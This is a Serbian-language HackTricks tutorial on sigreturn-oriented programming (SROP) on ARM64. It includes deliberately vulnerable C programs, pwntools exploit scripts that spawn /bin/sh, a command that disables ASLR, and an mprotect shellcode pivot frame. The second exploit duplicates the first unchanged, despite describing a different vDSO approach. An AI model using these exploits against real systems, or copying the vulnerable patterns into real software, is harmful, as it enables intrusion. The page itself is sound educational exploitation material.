> [!TIP]
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pwntools primer
Ovaj primer kreira ranjivi binarni fajl i koristi ga. Binarni fajl čita u stek i zatim poziva sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof пример
Код
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Kompajlirati sa:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
Eksploit koristi bof da se vrati na poziv sigreturn
i pripremi stek za poziv execve
sa pokazivačem na /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof пример без sigreturn
Код
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
U sekciji vdso
moguće je pronaći poziv na sigreturn
na offsetu 0x7b0
:
 (1).png)
Stoga, ako je otkriven, moguće je koristiti ovu adresu za pristup sigreturn
ako binarni fajl ne učitava to:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Za više informacija o vdso proverite:
A da biste zaobišli adresu /bin/sh
, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:
Automatsko pronalaženje sigreturn
gadgeta (2023-2025)
Na modernim distribucijama sigreturn
trampolin se i dalje izvozi putem vDSO stranice, ali tačan offset može varirati između verzija kernela i build flagova kao što su BTI (+branch-protection
) ili PAC. Automatizacija njegovog otkrivanja sprečava hard-kodiranje offseta:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Oba alata razumeju AArch64 kodiranja i će navesti kandidate mov x8, 0x8b ; svc #0
sekvence koje se mogu koristiti kao SROP gadget.
Napomena: Kada su binarni fajlovi kompajlirani sa BTI, prva instrukcija svake važeće mete indirektne grane je
bti c
.sigreturn
trampolini koje postavlja linker već uključuju ispravnu BTI platformu za sletanje, tako da gadget ostaje upotrebljiv iz neprivilegovanog koda.
Povezivanje SROP-a sa ROP-om (pivot preko mprotect
)
rt_sigreturn
nam omogućava kontrolu svih registara opšte namene i pstate
. Uobičajen obrazac na x86 je: 1) koristiti SROP za pozivanje mprotect
, 2) pivotirati na novu izvršnu stek koja sadrži shell-code. Ista ideja funkcioniše na ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Nakon slanja okvira možete poslati drugu fazu koja sadrži sirovi shell-kod na 0x400000+0x100
. Pošto AArch64 koristi PC-relative adresiranje, ovo je često pogodnije od izgradnje velikih ROP lanaca.
Validacija kernela, PAC & Shadow-Stacks
Linux 5.16 je uveo strožu validaciju korisničkih signalnih okvira (commit 36f5a6c73096
). Kernel sada proverava:
uc_flags
mora sadržatiUC_FP_XSTATE
kada jeextra_context
prisutan.- Rezervisana reč u
struct rt_sigframe
mora biti nula. - Svaka pokazivačka u extra_context zapisu je poravnata i pokazuje unutar korisničkog adresnog prostora.
pwntools>=4.10
automatski kreira usklađene okvire, ali ako ih pravite ručno, obavezno inicijalizujte rezervisano na nulu i izostavite SVE zapis osim ako vam zaista nije potreban—inače će rt_sigreturn
isporučiti SIGSEGV
umesto da se vrati.
Počevši od mainstream Android 14 i Fedora 38, korisnički prostor se kompajlira sa PAC (Pointer Authentication) i BTI omogućeni po defaultu (-mbranch-protection=standard
). SROP sam po sebi nije pogođen jer kernel direktno prepisuje PC
iz kreiranog okvira, zaobilazeći autentifikovani LR sačuvan na steku; međutim, svaki sledeći ROP lanac koji vrši indirektne grane mora skakati na BTI-om omogućene instrukcije ili PAC-ovane adrese. Imajte to na umu prilikom odabira gadgeta.
Shadow-Call-Stacks uvedeni u ARMv8.9 (i već omogućeni na ChromeOS 1.27+) su mitigacija na nivou kompajlera i ne ometaju SROP jer se ne izvršavaju instrukcije povratka—tok kontrole se prenosi od strane kernela.
Reference
- Linux arm64 signal handling documentation
- LWN – "AArch64 branch protection comes to GCC and glibc" (2023)
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.